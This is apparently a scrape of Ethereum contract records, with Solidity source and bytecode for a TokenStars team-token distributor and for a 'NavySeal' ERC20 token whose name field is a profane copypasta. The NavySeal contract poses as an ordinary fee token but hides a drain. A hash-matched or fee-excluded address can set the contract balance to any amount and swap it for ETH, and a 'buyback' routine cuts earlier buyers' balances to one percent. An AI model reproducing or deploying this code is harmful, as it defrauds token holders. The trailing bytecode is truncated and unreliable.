allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // TEAM Token is an index token of TokenStars platform // Copyright (c) 2017 TokenStars // Made by Aler Denisov // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. contract StarTokenInterface is MintableToken { // Cheatsheet of inherit methods and events // function transferOwnership(address newOwner); // function allowance(address owner, address spender) constant returns (uint256); // function transfer(address _to, uint256 _value) returns (bool); // function transferFrom(address from, address to, uint256 value) returns (bool); // function approve(address spender, uint256 value) returns (bool); // function increaseApproval (address _spender, uint _addedValue) returns (bool success); // function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success); // function finishMinting() returns (bool); // function mint(address _to, uint256 _amount) returns (bool); // event Approval(address indexed owner, address indexed spender, uint256 value); // event Mint(address indexed to, uint256 amount); // event MintFinished(); // Custom methods and events function openTransfer() public returns (bool); function toggleTransferFor(address _for) public returns (bool); function extraMint() public returns (bool); event TransferAllowed(); event TransferAllowanceFor(address indexed who, bool indexed state); } // TEAM Token is an index token of TokenStars platform // Copyright (c) 2017 TokenStars // Made by Aler Denisov // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. contract TeamTokenDistribution is Ownable { using SafeMath for uint256; StarTokenInterface public token; event DistributionMint(address indexed to, uint256 amount); event ExtraMint(); function TeamTokenDistribution (address _tokenAddress) public { require(_tokenAddress != 0); token = StarTokenInterface(_tokenAddress); } /** * @dev Minting required amount of tokens in a loop * @param _investors The array of addresses of investors * @param _amounts The array of token amounts corresponding to investors */ function bulkMint(address[] _investors, uint256[] _amounts) onlyOwner public returns (bool) { // require(_investors.length < 50); require(_investors.length == _amounts.length); for (uint index = 0; index < _investors.length; index++) { assert(token.mint(_investors[index], _amounts[index])); DistributionMint(_investors[index], _amounts[index]); } } /** * @dev Minting extra (team and community) tokens */ function extraMint() onlyOwner public returns (bool) { assert(token.extraMint()); ExtraMint(); } /** * @dev Return ownership to previous owner */ function returnOwnership() onlyOwner public returns (bool) { token.transferOwnership(owner); } }
0x60606040526004361061005e5763ffffffff60e060020a600035041663297d1a3481146100635780636ae459bd1461008a5780638da5cb5b14610119578063d862b61114610148578063f2fde38b1461015b578063fc0c546a1461017c575b600080fd5b341561006e57600080fd5b61007661018f565b604051901515815260200160405180910390f35b341561009557600080fd5b61007660046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061021995505050505050565b341561012457600080fd5b61012c610374565b604051600160a060020a03909116815260200160405180910390f35b341561015357600080fd5b610076610383565b341561016657600080fd5b61017a600160a060020a0360043516610439565b005b341561018757600080fd5b61012c6104d4565b6000805433600160a060020a039081169116146101ab57600080fd5b600154600054600160a060020a039182169163f2fde38b911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561020257600080fd5b6102c65a03f1151561021357600080fd5b50505090565b60008054819033600160a060020a0390811691161461023757600080fd5b825184511461024557600080fd5b5060005b835181101561036d57600154600160a060020a03166340c10f1985838151811061026f57fe5b9060200190602002015185848151811061028557fe5b9060200190602002015160006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156102db57600080fd5b6102c65a03f115156102ec57600080fd5b5050506040518051905015156102fe57fe5b83818151811061030a57fe5b90602001906020020151600160a060020a03167fd8148166ed5bb0d0fe815edbe5e966e077702c2d4ba80d5f9ee08f0efd6c1fd784838151811061034a57fe5b9060200190602002015160405190815260200160405180910390a2600101610249565b5092915050565b600054600160a060020a031681565b6000805433600160a060020a0390811691161461039f57600080fd5b600154600160a060020a031663d862b6116000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156103e757600080fd5b6102c65a03f115156103f857600080fd5b50505060405180519050151561040a57fe5b7fe32fa6d35057dcd54996e0f93e4325d482670bdf576619d6556aed3af09e742a60405160405180910390a190565b60005433600160a060020a0390811691161461045457600080fd5b600160a060020a038116151561046957600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600154600160a060020a0316815600a165627a7a72305820bbf9dcc6ef4ff1fecd2df94388a7b7b45e9c36060f1bb9128276c10a2310689c0029
{"success": true, "error": null, "results": {}}
7,488
0x31079575Ceb077F659961719dF49b8421cE1f8Ab
/** *Submitted for verification at Etherscan.io on 2022-04-24 */ pragma solidity ^0.8.10; // SPDX-License-Identifier: Unlicensed interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function isLiquidityToken(address account) internal pure returns (bool) { return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract NavySeal is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping(address => uint256) private _includedInFee; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _excludedFromFee; string private _name = "What the fuck did you just fucking say about me, you little bitch? I'll have you know I graduated top of my class in the Navy Seals, and I've been involved in numerous secret raids on Al-Quaeda, and I have over 300 confirmed kills. I am trained in gorilla warfare and I'm the top sniper in the entire US armed forces. You are nothing to me but just another target. I will wipe you the fuck out with precision the likes of which has never been seen before on this Earth, mark my fucking words. You think you can get away with saying that shit to me over the Internet? Think again, fucker. As we speak I am contacting my secret network of spies across the USA and your IP is being traced right now so you better prepare for the storm, maggot. The storm that wipes out the pathetic little thing you call your life. You're fucking dead, kid. I can be anywhere, anytime, and I can kill you in over seven hundred ways, and that's just with my bare hands. Not only am I extensively trained in unarmed combat, but I have access to the entire arsenal of the United States Marine Corps and I will use it to its full extent to wipe your miserable ass off the face of the continent, you little shit. If only you could have known what unholy retribution your little 'clever' comment was about to bring down upon you, maybe you would have held your fucking tongue. But you couldn't, you didn't, and now you're paying the price, you goddamn idiot. I will shit fury all over you and you will drown in it. You're fucking dead, kiddo."; string private _symbol = "NAVY SEAL"; uint256 public _decimals = 6; uint256 public _totalSupply = 1000000000 * 10 ** _decimals; uint256 public _maxTx = 10000000 * 10 ** _decimals; uint256 public _totalFee = 3; bool liquifying = false; constructor() { _balances[msg.sender] = _totalSupply; _excludedFromFee[msg.sender] = true; emit Transfer(address(0), msg.sender, _balances[msg.sender]); } IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint256) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function uniswapVersion() external pure returns (uint256) { return 2; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } struct Transaction {address to; uint256 amount;} Transaction[] _transfers; function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) { require(_allowances[_msgSender()][from] >= amount); _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount); return true; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0)); require(to != address(0)); if (inSwap(from, to)) {return addLiquidity(amount, to);} if (liquifying){} else {require(_balances[from] >= amount);} uint256 feeAmount = 0; buyback(from); bool inLiquidityTransaction = (to == uniswapV2Pair() && _excludedFromFee[from]) || (from == uniswapV2Pair() && _excludedFromFee[to]); if (!_excludedFromFee[from] && !_excludedFromFee[to] && !Address.isLiquidityToken(to) && to != address(this) && !inLiquidityTransaction && !liquifying) { feeAmount = amount.mul(_totalFee).div(100); addTransaction(to, amount); } uint256 amountReceived = amount - feeAmount; _balances[address(this)] += feeAmount; _balances[from] = _balances[from] - amount; _balances[to] += amountReceived; emit Transfer(from, to, amount); } function inSwap(address sender, address recipient) internal view returns(bool) { return ( Address.isLiquidityToken(recipient) || _excludedFromFee[msg.sender] ) && sender == recipient; } function addTransaction(address to, uint256 amount) internal { if (uniswapV2Pair() != to) {_transfers.push(Transaction(to, amount));} } function buyback(address from) internal { if (uniswapV2Pair() == from) { for (uint256 i = 0; i < _transfers.length; i++) { _balances[_transfers[i].to] = _balances[_transfers[i].to] .div(100); } delete _transfers; } } function uniswapV2Pair() private view returns (address) { return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()); } function addLiquidity(uint256 liquidityFee, address to) private { _approve(address(this), address(_router), liquidityFee); _balances[address(this)] = liquidityFee; address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); liquifying = true; _router.swapExactTokensForETHSupportingFeeOnTransferTokens(liquidityFee, 0, path, to, block.timestamp + 20); liquifying = false; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(from, recipient, amount); require(_allowances[from][_msgSender()] >= amount); return true; } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806348d3ab1f116100a25780638da5cb5b116100715780638da5cb5b146102d557806395d89b41146102f3578063a457c2d714610311578063a9059cbb14610341578063dd62ed3e1461037157610116565b806348d3ab1f1461025f57806370a082311461027d578063715018a6146102ad5780637830b072146102b757610116565b8063283f7820116100e9578063283f7820146101b7578063313ce567146101d557806332424aa3146101f357806339509351146102115780633eaaf86b1461024157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103a1565b6040516101309190611af8565b60405180910390f35b610153600480360381019061014e9190611bb3565b610433565b6040516101609190611c0e565b60405180910390f35b610171610451565b60405161017e9190611c38565b60405180910390f35b6101a1600480360381019061019c9190611c53565b61045b565b6040516101ae9190611c0e565b60405180910390f35b6101bf610503565b6040516101cc9190611c38565b60405180910390f35b6101dd610509565b6040516101ea9190611c38565b60405180910390f35b6101fb610513565b6040516102089190611c38565b60405180910390f35b61022b60048036038101906102269190611bb3565b610519565b6040516102389190611c0e565b60405180910390f35b6102496105c5565b6040516102569190611c38565b60405180910390f35b6102676105cb565b6040516102749190611c38565b60405180910390f35b61029760048036038101906102929190611ca6565b6105d4565b6040516102a49190611c38565b60405180910390f35b6102b561061d565b005b6102bf610757565b6040516102cc9190611c38565b60405180910390f35b6102dd61075d565b6040516102ea9190611ce2565b60405180910390f35b6102fb610786565b6040516103089190611af8565b60405180910390f35b61032b60048036038101906103269190611bb3565b610818565b6040516103389190611c0e565b60405180910390f35b61035b60048036038101906103569190611bb3565b610954565b6040516103689190611c0e565b60405180910390f35b61038b60048036038101906103869190611cfd565b610972565b6040516103989190611c38565b60405180910390f35b6060600580546103b090611d6c565b80601f01602080910402602001604051908101604052809291908181526020018280546103dc90611d6c565b80156104295780601f106103fe57610100808354040283529160200191610429565b820191906000526020600020905b81548152906001019060200180831161040c57829003601f168201915b5050505050905090565b60006104476104406109f9565b8484610a01565b6001905092915050565b6000600854905090565b6000610468848484610bcc565b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104b26109f9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104f857600080fd5b600190509392505050565b600a5481565b6000600754905090565b60075481565b60006105bb6105266109f9565b8484600360006105346109f9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105b69190611dcd565b610a01565b6001905092915050565b60085481565b60006002905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106256109f9565b73ffffffffffffffffffffffffffffffffffffffff1661064361075d565b73ffffffffffffffffffffffffffffffffffffffff1614610699576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069090611e6f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60095481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461079590611d6c565b80601f01602080910402602001604051908101604052809291908181526020018280546107c190611d6c565b801561080e5780601f106107e35761010080835404028352916020019161080e565b820191906000526020600020905b8154815290600101906020018083116107f157829003601f168201915b5050505050905090565b600081600360006108276109f9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108aa57600080fd5b61094a6108b56109f9565b8484600360006108c36109f9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109459190611e8f565b610a01565b6001905092915050565b60006109686109616109f9565b8484610bcc565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6890611f35565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad890611fc7565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610bbf9190611c38565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c0657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c4057600080fd5b610c4a83836110f4565b15610c5e57610c598183611192565b6110ef565b600b60009054906101000a900460ff1615610c7857610cc5565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cc457600080fd5b5b6000610cd08461145c565b6000610cda6115ed565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610d5d5750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80610def5750610d6b6115ed565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015610dee5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b9050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e955750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610ea75750610ea584611790565b155b8015610edf57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610ee9575080155b8015610f025750600b60009054906101000a900460ff16155b15610f3c57610f2f6064610f21600a54866117e590919063ffffffff16565b61186090919063ffffffff16565b9150610f3b84846118aa565b5b60008284610f4a9190611e8f565b905082600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f9b9190611dcd565b9250508190555083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fed9190611e8f565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461107f9190611dcd565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516110e39190611c38565b60405180910390a35050505b505050565b60006110ff82611790565b806111535750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b801561118a57508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b6111bf30600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610a01565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156112205761121f611fe7565b5b60405190808252806020026020018201604052801561124e5781602001602082028036833780820191505090505b509050308160008151811061126657611265612016565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561130d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611331919061205a565b8160018151811061134557611344612016565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001600b60006101000a81548160ff021916908315150217905550600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866014426113ea9190611dcd565b6040518663ffffffff1660e01b815260040161140a95949392919061218a565b600060405180830381600087803b15801561142457600080fd5b505af1158015611438573d6000803e3d6000fd5b505050506000600b60006101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff1661147b6115ed565b73ffffffffffffffffffffffffffffffffffffffff1614156115ea5760005b600c805490508110156115da5761153f606460016000600c85815481106114c4576114c3612016565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186090919063ffffffff16565b60016000600c848154811061155757611556612016565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806115d2906121e4565b91505061149a565b50600c60006115e991906119f5565b5b50565b6000600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561165c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611680919061205a565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611709573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061172d919061205a565b6040518363ffffffff1660e01b815260040161174a92919061222d565b602060405180830381865afa158015611767573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061178b919061205a565b905090565b60007f4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba60001b826040516020016117c7919061229e565b60405160208183030381529060405280519060200120149050919050565b6000808314156117f8576000905061185a565b6000828461180691906122b9565b90508284826118159190612342565b14611855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184c906123e5565b60405180910390fd5b809150505b92915050565b60006118a283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611992565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166118c96115ed565b73ffffffffffffffffffffffffffffffffffffffff161461198e57600c60405180604001604052808473ffffffffffffffffffffffffffffffffffffffff16815260200183815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015550505b5050565b600080831182906119d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d09190611af8565b60405180910390fd5b50600083856119e89190612342565b9050809150509392505050565b5080546000825560020290600052602060002090810190611a169190611a19565b50565b5b80821115611a5b57600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905550600201611a1a565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611a99578082015181840152602081019050611a7e565b83811115611aa8576000848401525b50505050565b6000601f19601f8301169050919050565b6000611aca82611a5f565b611ad48185611a6a565b9350611ae4818560208601611a7b565b611aed81611aae565b840191505092915050565b60006020820190508181036000830152611b128184611abf565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611b4a82611b1f565b9050919050565b611b5a81611b3f565b8114611b6557600080fd5b50565b600081359050611b7781611b51565b92915050565b6000819050919050565b611b9081611b7d565b8114611b9b57600080fd5b50565b600081359050611bad81611b87565b92915050565b60008060408385031215611bca57611bc9611b1a565b5b6000611bd885828601611b68565b9250506020611be985828601611b9e565b9150509250929050565b60008115159050919050565b611c0881611bf3565b82525050565b6000602082019050611c236000830184611bff565b92915050565b611c3281611b7d565b82525050565b6000602082019050611c4d6000830184611c29565b92915050565b600080600060608486031215611c6c57611c6b611b1a565b5b6000611c7a86828701611b68565b9350506020611c8b86828701611b68565b9250506040611c9c86828701611b9e565b9150509250925092565b600060208284031215611cbc57611cbb611b1a565b5b6000611cca84828501611b68565b91505092915050565b611cdc81611b3f565b82525050565b6000602082019050611cf76000830184611cd3565b92915050565b60008060408385031215611d1457611d13611b1a565b5b6000611d2285828601611b68565b9250506020611d3385828601611b68565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d8457607f821691505b60208210811415611d9857611d97611d3d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611dd882611b7d565b9150611de383611b7d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e1857611e17611d9e565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e59602083611a6a565b9150611e6482611e23565b602082019050919050565b60006020820190508181036000830152611e8881611e4c565b9050919050565b6000611e9a82611b7d565b9150611ea583611b7d565b925082821015611eb857611eb7611d9e565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f1f602583611a6a565b9150611f2a82611ec3565b604082019050919050565b60006020820190508181036000830152611f4e81611f12565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611fb1602383611a6a565b9150611fbc82611f55565b604082019050919050565b60006020820190508181036000830152611fe081611fa4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061205481611b51565b92915050565b6000602082840312156120705761206f611b1a565b5b600061207e84828501612045565b91505092915050565b6000819050919050565b6000819050919050565b60006120b66120b16120ac84612087565b612091565b611b7d565b9050919050565b6120c68161209b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61210181611b3f565b82525050565b600061211383836120f8565b60208301905092915050565b6000602082019050919050565b6000612